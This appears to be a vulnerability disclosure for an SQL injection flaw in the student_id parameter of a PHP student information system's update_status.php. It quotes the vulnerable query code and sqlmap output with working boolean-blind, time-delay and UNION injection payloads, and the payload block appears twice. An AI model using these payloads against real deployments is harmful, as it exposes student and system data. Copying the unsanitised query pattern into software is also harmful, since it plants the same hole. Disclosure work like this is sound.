SQL injection vulnerability exists in student_id parameter of /admin/students/update_status.php file of Simple Student Information System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
if(isset($_GET['student_id'])){
    $qry = $conn->query("SELECT * FROM `student_list` where id = '{$_GET['student_id']}'")
    if($qry->num_rows > 0){
        $res = $qry->fetch_array();
        foreach($res as $k => $v){
            if(!is_numeric($k))
            $$k = $v;
        }
    }else{
        echo "<center><small class='text-muted'>Unkown student ID.</small></center>";
```

```
sqlmap identified the following injection point(s) with a total of 77 HTTP(s) requests:
---
Parameter: student_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: student_id=1' AND 5201=5201 AND 'nPjD'='nPjD

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: student_id=1' AND (SELECT 4361 FROM (SELECT(SLEEP(5)))Fqeo) AND 'tMVs'='tMVs

    Type: UNION query
    Title: Generic UNION query (NULL) - 14 columns
    Payload: student_id=-9681' UNION ALL SELECT CONCAT(0x716a786a71,0x6245764b7753784a46614e575378456a6f45587541657576754b666b5967725
976664b54534a736d,0x716a6a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
```

“

---

Parameter: student_id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: student_id=1' AND 5201=5201 AND 'nPjD'='nPjD

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: student_id=1' AND (SELECT 4361 FROM (SELECT(SLEEP(5)))Fqeo) AND 'tMVs'='tMVs

Type: UNION query

Title: Generic UNION query (NULL) - 14 columns

Payload: student_id=-9681' UNION ALL SELECT CONCAT(0x716a786a71,0x6245764b7753784a46614e575378456a6f45587541657576754b666b5967725976664b54534a736d,0x716a6a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

---

“

Source Download：

https://www.campcodes.com/projects/php/student-information-system-in-php